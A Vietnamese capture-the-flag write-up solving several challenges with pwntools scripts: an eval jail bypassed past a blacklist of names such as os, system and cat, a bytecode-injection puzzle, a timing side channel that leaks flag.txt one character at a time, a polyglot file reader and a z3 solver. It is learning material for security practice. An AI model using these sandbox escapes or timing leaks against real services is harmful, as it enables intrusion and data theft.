⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠿⠟⠛⠋⠹⢿⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡀⠀⠀⠀⠀⠘⢷⡄⠙⣧⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⣴⠟⠋⠁⠀⠀⠀⠀⠘⢸⡀⠀⠿⠀⠀⠀⣠⣤⣤⣄⣄⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣀⡀⠀⠀⠀⢸⡟⠻⣿⣦⡀⠀⠀⠀⠙⢾⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⣇⠀⠀⠀⠀⣴⡏⠁⠀⠀⠹⣷⠀⠀⠀⠀⣠⡿⠋⠀⠀⠈⣷⠀⠀⠀⣾⠃⠀⠀⠉⠻⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡆⠀⠀⠀⠘⢷⣄⡀⣀⣠⣿⠀⠀⠀⠀⠻⣧⣄⣀⣠⣴⠿⠁⠀⢠⡟⠀⠀⠀⠀⠀⠙⢿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣾⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡽⣦⡀⣀⠀⠀⠉⠉⠉⠉⠀⢀⣀⣀⡀⠀⠉⠉⠉⠁⠀⠀⠀⣠⡿⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⡀⠀⠀⠀⠀⠀⠀⠀
⠀⢰⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠃⠈⢿⣿⣧⣄⠀⠀⠰⣦⣀⣭⡿⣟⣍⣀⣿⠆⠀⠀⡀⣠⣼⣿⠁⠀⠀⠀⠀⠀⠀⠀⢀⣤⣽⣷⣤⣤⠀⠀⠀⠀⠀
⠀⢀⣿⡆⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⢀⣴⠖⠋⠁⠈⠻⣿⣿⣿⣶⣶⣤⡉⠉⠀⠈⠉⢉⣀⣤⣶⣶⣿⣿⣿⠃⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀⠉⠻⣷⣄⠀⠀⠀
⠀⣼⡏⣿⠀⢀⣤⠽⠖⠒⠒⠲⣤⣤⡾⠋⠀⠀⠀⠀⠀⠈⠈⠙⢿⣿⣿⣿⣿⣿⣾⣷⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⣀⣤⠶⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⠀⠀
⢰⣿⠁⢹⠀⠈⠀⠀⠀⠀⠀⠀⠀⣿⠷⠦⠄⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉⢀⣠⠶⠋⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀
⣸⡇⠀⠀⠀⠀⠀⠀⠀⢰⡇⠀⠀⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠉⠉⠛⠋⠉⠙⢧⠀⠀⢸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡆
⣿⡇⠀⠀⠈⠆⠀⠀⣠⠟⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢿⠀⠀⠀⠀⠀⠀⠀⠈⠱⣄⣸⡇⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣻⡇
⢻⣧⠀⠀⠀⠀⠀⣸⣥⣄⡀⠀⠀⣾⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠂⠀⠀⠀⠀⠀⠀⣿⡇
⢸⣿⣦⠀⠀⠀⠚⠉⠀⠈⠉⠻⣾⣿⡏⢻⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣟⢘⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠐⡟⠀⠀⠀⠀⠀⠀⢀⣿⠁
⢸⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣇⠈⠻⠷⠦⠤⣄⣀⣀⣀⣀⣠⣿⣿⣄⠀⠀⠀⠀⠀⣠⡾⠋⠄⠀⠈⢳⡀⠀⠀⠀⠀⠀⠀⠀⣸⠃⠀⠀⠀⠀⠀⠀⣸⠟⠀
⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣧⣔⠢⠤⠤⠀⠀⠈⠉⠉⠉⢤⠀⠙⠓⠦⠤⣤⣼⠋⠀⠀⠀⠀⠀⠀⠹⣦⠀⠀⠀⠀⠀⢰⠏⠀⠀⠀⠀⠀⢀⣼⡟⠀⠀
⠀⢻⣷⣖⠦⠄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⠈⢳⡀⠈⠛⢦⣀⡀⠀⠀⠘⢷⠀⠀⠀⢀⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⣠⠏⠀⠀⠀⠀⣀⣴⡿⠋⠀⠀⠀
⠀⠀⠙⠻⣦⡀⠈⠛⠆⠀⠀⠀⣠⣤⡤⠀⠿⣤⣀⡙⠢⠀⠀⠈⠙⠃⣠⣤⠾⠓⠛⠛⢿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡴⠞⠁⢀⣠⣤⠖⢛⣿⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠙⢷⣤⡁⠀⣴⠞⠁⠀⠀⠀⠀⠈⠙⠿⣷⣄⣀⣠⠶⠞⠋⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠶⠞⠋⠁⠀⢀⣾⠟⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠉⠻⣷⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⢙⣧⡉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣤⣀⣀⠀⠀⠈⠂⢀⣤⠾⠋⠀⠀⠀⠀⠀⣠⡾⠃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⢀⣠⠎⣠⡾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀⣦⠀⠀⠀⠀⠀⠀⠀⣿⣇⢠⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠤⢐⣯⣶⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣄⠸⣆⠀⠀⠲⣆⠀⠀⢸⣿⣶⣮⣉⡙⠓⠒⠒⠒⠒⠒⠈⠉⠁⠀⠀⠀⠀⠀⢀⣶⣶⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠷⠾⠷⣦⣾⠟⠻⠟⠛⠁⠀⠈⠛⠛⢿⣶⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⣨⣾⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠙⠛⠛⠛⠻⠿⠿⠿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
'''

blacklist = [ ';', '"', 'os', '_', '\\', '/', '`',
              ' ', '-', '!', '[', ']', '*', 'import',
              'eval', 'banner', 'echo', 'cat', '%', 
              '&', '>', '<', '+', '1', '2', '3', '4',
              '5', '6', '7', '8', '9', '0', 'b', 's', 
              'lower', 'upper', 'system', '}', '{' ]

while True:
  ans = input('Break me, shake me!\n\n$ ').strip()

  if any(char in ans for char in blacklist):
    print(f'\n{banner1}\nNaughty naughty..\n')
  else:
    try:
      eval(ans + '()')
      print('WHAT WAS THAT?!\n')
    except:
      print(f"\n{banner2}\nI'm UNBREAKABLE!\n")

Hàm eval() là hàm sẽ thực thi những câu lệnh python mà ta viết trong đó dưới dạng str. Nhưng những str ta nhập phải vượt qua black list chặn rất nhiều những ký tự và hàm quan trọng. Ta đã biết rằng flag được chứa trong file "flag.txt" nên bây giờ ta cần gửi một đoạn code có thể mở file đó và in ra cho chúng ta flag mà hàm open()print() đều thỏa mãn backlist nên dùng nó gửi đi là có được flag.

# nc 

from pwn import *

def main() -> None:

    s = remote("83.136.252.194", 45881)

    print(s.recvuntil(b"\n\n").decode())
    s.sendline(b"print(open('flag.txt','r').read())#")
    print(s.recvuntil(b'}').decode())

if __name__ == "__main__":
    main()

Stop Drop and Roll

credit: MinhFanBoy

SOURCE:

import random

CHOICES = ["GORGE", "PHREAK", "FIRE"]

print("===== THE FRAY: THE VIDEO GAME =====")
print("Welcome!")
print("This video game is very simple")
print("You are a competitor in The Fray, running the GAUNTLET")
print("I will give you one of three scenarios: GORGE, PHREAK or FIRE")
print("You have to tell me if I need to STOP, DROP or ROLL")
print("If I tell you there's a GORGE, you send back STOP")
print("If I tell you there's a PHREAK, you send back DROP")
print("If I tell you there's a FIRE, you send back ROLL")
print("Sometimes, I will send back more than one! Like this: ")
print("GORGE, FIRE, PHREAK")
print("In this case, you need to send back STOP-ROLL-DROP!")

ready = input("Are you ready? (y/n) ")

if ready.lower() != "y":
    print("That's a shame!")
    exit(0)

print("Ok then! Let's go!")

count = 0
tasks = []

for _ in range(500):
    tasks = []
    count = random.randint(1, 5)

    for _ in range(count):
        tasks.append(random.choice(CHOICES))

    print(', '.join(tasks))

    result = input("What do you do? ")
    correct_result = "-".join(tasks).replace("GORGE", "STOP").replace("PHREAK", "DROP").replace("FIRE", "ROLL")

    if result != correct_result:
        print("Unfortunate! You died!")
        exit(0)

print(f"Fantastic work! The flag is {FLAG}")

Bài này cũng không có gì ta chỉ cần nhận vào một list rồi gửi lại một list khác với các giá trị tương ứng là được. Đề bài cho ta một chuỗi các sữ kiện như GORGE, PHREAK và FIRE và ta cần phải gửi lại sao cho thỏa mãn

print("If I tell you there's a GORGE, you send back STOP")
print("If I tell you there's a PHREAK, you send back DROP")
print("If I tell you there's a FIRE, you send back ROLL")

nên mình viết một đoạn code đơn giản thay thế các ký tự bằng ký tự thay thế là xong.

# nc 83.136.251.232 58416

from pwn import *

def main() -> None:

    s = remote("83.136.251.232", 58416)

    s.sendlineafter(b'(y/n) ', b'y')
    s.recvline()

    while True:
        recv = s.recvlineS().strip()
        print(recv)

        result = recv.replace(", ", "-")
        result = result.replace("GORGE", "STOP")
        result = result.replace("PHREAK", "DROP")
        result = result.replace("FIRE", "ROLL")

        s.sendlineafter(b'do? ', result.encode())


if __name__ == "__main__":
    main()

Cubicle Riddle

credit: MinhFanBoy

SOURCE:

here :v


Bài này có mấu chốt chủ yếu là ở phần này:


    def _construct_answer(self, answer: bytes) -> types.CodeType:
        co_code: bytearray = bytearray(self.co_code_start)
        co_code.extend(answer)
        co_code.extend(self.co_code_end)
        code_obj: types.CodeType = types.CodeType(
            1,
            0,
            0,
            4,
            3,
            3,
            bytes(co_code),
            (None, self.max_int, self.min_int),
            (),
            ("num_list", "min", "max", "num"),
            __file__,
            "_answer_func",
            "_answer_func",
            1,
            b"",
            b"",
            (),
            (),
        )

Mình có thể gửi một đoạn bytes vào phần co_de. Chúng ta cần chú ý đến một vài phần sau:

  • codeobject.co_consts là mảng tuple chứa các giá trị của hàm, ở trong trường hợp này là (None, self.max_int, self.min_int)

  • codeobject.co_varnames là mảng gồm tên của các biến trong hàm, ở trong trường hợp này là ("num_list", "min", "max", "num")

  • codeobject.co_code đây là phần quan trong nhất, là một chuỗi byte biểu thị chuỗi hướng dẫn mã byte trong hàm.

Từ đó chúng ta có thể gán giá trị của một số nào đó cho min, max rồi có thể trả nó về. Trong python có hỗ trợ thư viện này giúp chuyển hàm thành dạng code.

Tổng hợp tất cả các thông tin đã có như sau: ta viết một hàm tìm ra giá trị lớn nhất, nhỏ nhất của nums_list rồi lưu lại vào biến min, max đã có sẵn, sau đó chuyển nó thành dạng bytes và gửi nó đi là ta thành công có được flag.

from pwn import *
def _answer_func(num_list: int):
    min: int = 1000
    max: int = -1000
    for num in num_list:
        if num < min:
            min = num
        if num > max:
            max = num
    return (min, max)

def main() -> None:
    s = remote("94.237.54.30", 56070)
    ans: bytes = _answer_func.__code__.co_code
    ans = ",".join([str(x) for x in ans])
    print(ans)

    print(s.recvuntil(b"(Choose wisely) > ").decode())
    s.sendline(b"1")
    print(s.recvuntil(b"(Answer wisely) >").decode())
    s.sendline(ans.encode())
    print(s.recvuntil(b"}").decode())
if __name__ == "__main__":
    main()

MultiDigilingual

credit: MinhFanBoy

TASK:

****************************************
*   How many languages can you talk?   *
*        Pass a program that's         *
*   all of the below that just reads   *
*      the file `flag.txt` to win      *
*          and pass the test.          *
*                                      *
*              Languages:              *
*               * Python3              *
*               * Perl                 *
*               * Ruby                 *
*               * PHP8                 *
*               * C                    *
*               * C++                  *
*                                      *
*   Succeed in this and you will be    *
*               rewarded!              *
****************************************

Enter the program of many languages (input in base64):

Bài này khá là hay. Có thể giải theo cách timming attack. Đề bài yêu cầu ta phải nhập vào một program có thể chạy được nhiều ngôn ngữ để đọc file, máy chủ sẽ chạy file đó qua từng ngôn ngữ khác nhau cho tới khi thỏa mãn hết sẽ in ra flag. Nhưng việc code như vậy sẽ khá tốn công nên lợi dụng việc chương trình chạy code mà ta gửi để có thể lợi dựng điều đó để chạy một vài hàm leak ra thông tin gì đó về flag (ở đây nó leak ra dưới dạng thời gian phản hồi).

Khi ta gửi chương trình này:

import time
flag = open('flag.txt', 'r').read()
time.sleep(ord(flag[{i}]) / 10)

Máy chủ sẽ chạy nó, trong khi nó vẫn thỏa mãn yêu cầu của sever và cũng leak cho chúng ta thông tin thêm về flag.

Từ đó, ta gửi yêu cầu nhiều lần lên lên máy chủ, mỗi lần đọc từng ký tự của flag khi đó chương trình sẽ tạm dừng chương trình một khoảng thời gian đúng bằng (ord(flag) / 10) nên ta tính toán khoảng thời gian chênh lệch là ta có flag (trong đoạn code có bị trừ đi cho 2 là do một vài yếu tố mội trường như tốc độ mang, máy tính ảnh hưởng tới thời gian)


import time
from base64 import *
from pwn import *

def main() -> None:

    flag = ""

    for i in range(100):

        code = f"""
import time
flag = open('flag.txt', 'r').read()
time.sleep(ord(flag[{i}]) / 10)
"""
        s = remote("94.237.63.93", 38070)

        s.recvuntil(b'Enter the program of many languages: ')
        start = time.time()
        s.sendline(b64encode(code.encode()))
        s.recvuntil(b'[+] Completed. Checking output')
        end = time.time()

        flag += chr(int((end - start)* 10) - 2)
        print(flag)

        s.close()

        if flag[-1] == "}":
            break

if __name__ == "__main__":
    main()

Một cách khá cũng khá hay mình tham khảo trên mạng. Mình viết một file thỏa mãn tất cả các ngôn ngữ ở trên.

#include/*
#<?php eval('echo file_get_contents("flag.txt", true);')?>
q="""*/<stdio.h>
int main() {char s[500];fgets(s, 500, fopen((const char[]){'f','l','a','g','.','t','x','t','\x00'}, (const char[]){'r', '\x00'})); {puts(s);}if(1);
    else    {}} /*=;
open(my $file, 'flag.txt');print(<$file>)#";print(puts File.read('flag.txt'));#""";print(open('flag.txt').read())#*/

colored_squares

credit: MinhFanBoy

SOURCE:

here


Khi mở file này ra ta thấy đâ gồm rất nhiều file (hơn 3000) và bên trong hầu như trống và không có nhiều ký tự.

Sau một hồi loai hoay tìm hiểu thì mình nhận ra đây là một kiểu script tương tự như brainfuck. Nền lên mạng thì tìm thấy thư viện này có thể chuyển nó về file python. Đây là code sau khi mình đã chuyển.

print("Enter the flag in decimal (one character per line) :\n", end='', flush=True)
var_0 = input()
if var_0.isdigit():
    var_0 = int(var_0)
else:
    var_0 = var_0
var_1 = input()
if var_1.isdigit():
    var_1 = int(var_1)
else:
    var_1 = var_1
var_2 = input()
if var_2.isdigit():
    var_2 = int(var_2)
else:
    var_2 = var_2
var_3 = input()
if var_3.isdigit():
    var_3 = int(var_3)
else:
    var_3 = var_3
var_4 = input()
if var_4.isdigit():
    var_4 = int(var_4)
else:
    var_4 = var_4
var_5 = input()
if var_5.isdigit():
    var_5 = int(var_5)
else:
    var_5 = var_5
var_6 = input()
if var_6.isdigit():
    var_6 = int(var_6)
else:
    var_6 = var_6
var_7 = input()
if var_7.isdigit():
    var_7 = int(var_7)
else:
    var_7 = var_7
var_8 = input()
if var_8.isdigit():
    var_8 = int(var_8)
else:
    var_8 = var_8
var_9 = input()
if var_9.isdigit():
    var_9 = int(var_9)
else:
    var_9 = var_9
var_10 = input()
if var_10.isdigit():
    var_10 = int(var_10)
else:
    var_10 = var_10
var_11 = input()
if var_11.isdigit():
    var_11 = int(var_11)
else:
    var_11 = var_11
var_12 = input()
if var_12.isdigit():
    var_12 = int(var_12)
else:
    var_12 = var_12
var_13 = input()
if var_13.isdigit():
    var_13 = int(var_13)
else:
    var_13 = var_13
var_14 = input()
if var_14.isdigit():
    var_14 = int(var_14)
else:
    var_14 = var_14
var_15 = input()
if var_15.isdigit():
    var_15 = int(var_15)
else:
    var_15 = var_15
var_16 = input()
if var_16.isdigit():
    var_16 = int(var_16)
else:
    var_16 = var_16
var_17 = input()
if var_17.isdigit():
    var_17 = int(var_17)
else:
    var_17 = var_17
var_18 = input()
if var_18.isdigit():
    var_18 = int(var_18)
else:
    var_18 = var_18
var_19 = input()
if var_19.isdigit():
    var_19 = int(var_19)
else:
    var_19 = var_19
var_20 = input()
if var_20.isdigit():
    var_20 = int(var_20)
else:
    var_20 = var_20
var_21 = input()
if var_21.isdigit():
    var_21 = int(var_21)
else:
    var_21 = var_21
if (((var_7) - (var_18)) == ((var_8) - (var_9))):
    if (((var_6) + (var_10)) == (((var_16) + (var_20)) + (12))):
        if (((var_8) * (var_14)) == (((var_13) * (var_18)) * (2))):
            if ((var_19) == (var_6)):
                if (((var_9) + (1)) == ((var_17) - (1))):
                    if (((var_11) / ((var_5) + (7))) == (2)):
                        if (((var_5) + ((var_2) / (2))) == (var_1)):
                            if (((var_16) - (9)) == ((var_13) + (4))):
                                if (((var_12) / (3)) == (17)):
                                    if ((((var_4) - (var_5)) + (var_12)) == ((var_14) + (20))):
                                        if ((((var_12) * (var_15)) / (var_14)) == (24)):
                                            if ((var_18) == ((173) - (var_4))):
                                                if ((var_6) == ((63) + (var_5))):
                                                    if (((32) * (var_16)) == ((var_7) * (var_0))):
                                                        if ((125) == (var_21)):
                                                            if (((var_3) - (var_2)) == (57)):
                                                                if (((var_17) - (var_15)) == ((var_18) + (1))):
                                                                    print("Good job! :)", end='', flush=True)

Mình được một đoạn code khác dung để check flag. Thấy flag có 22 ký tự và các ký tự thỏa mãn với nhau theo các điều kiện trong hàm if nên từ đó ta có 22 ẩn và rất nhiều phương trình. Sử dụng các điều kiện ở trên với điều kiện các ký tự kia thuộc ascii và ta có thể đọc được nên ta gán khoảng giá trị cho nó 44 < x < 125, ngoài ra ta cũng có flag form là HTB{..} tương ứng với các vị trí trong flag nên ta cũng sử dụng nó để tính. Và đây là code (gần) của mình. Từ đó mình có hướng dử dụng z3 để giải hệ phương trình 22 ấn. Nhưng sau khi chạy script xong thì vẫn còn một vài chỗ trong flag bị sai nên mình phải đoán flag một chút.



from z3 import *

def main() -> None:

    flag: BitVecs = BitVecs('v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21', 8)

    s = Solver()

    s.add(flag[7] - flag[18] == flag[8] - flag[9])
    s.add(flag[6] + flag[10] == flag[16] + flag[20] + 12)
    s.add(flag[8] * flag[14] == 2 * flag[18] * flag[13])
    s.add(flag[19] == flag[6])
    s.add(flag[9] + 1 == flag[17] - 1)
    s.add(flag[11] == 2 * (flag[5] + 7))
    s.add(flag[5] + flag[2]/2 == flag[1])
    s.add(flag[16] - 9 == flag[13] + 4)
    s.add(flag[12] == 17 * 3)
    s.add(flag[4] - flag[5] + flag[12] == flag[14] + 20)
    s.add(flag[12] * flag[15] == 24 * flag[14])
    s.add(flag[18] + flag[4] == 173)
    s.add(flag[6] == flag[5] + 63)
    s.add(flag[16] * 32 == flag[0] * flag[7])
    s.add(flag[21] == 125)
    s.add(flag[3] - flag[2] == 57)
    s.add(flag[17] - flag[15] == flag[18] + 1)

    for i in range(len(flag)):
        s.add(flag[i] >= 48)
        s.add(flag[i] <= 125)

    s.add(flag[0] == ord('H'))
    s.add(flag[1] == ord('T'))
    s.add(flag[2] == ord('B'))
    s.add(flag[3] == ord('{'))
    s.add(flag[21] == ord('}'))

    if s.check() == sat:
        m = s.model()
        for v in flag:
           print(chr(m[v].as_long()), end="", flush=True)

if __name__ == "__main__":
    main()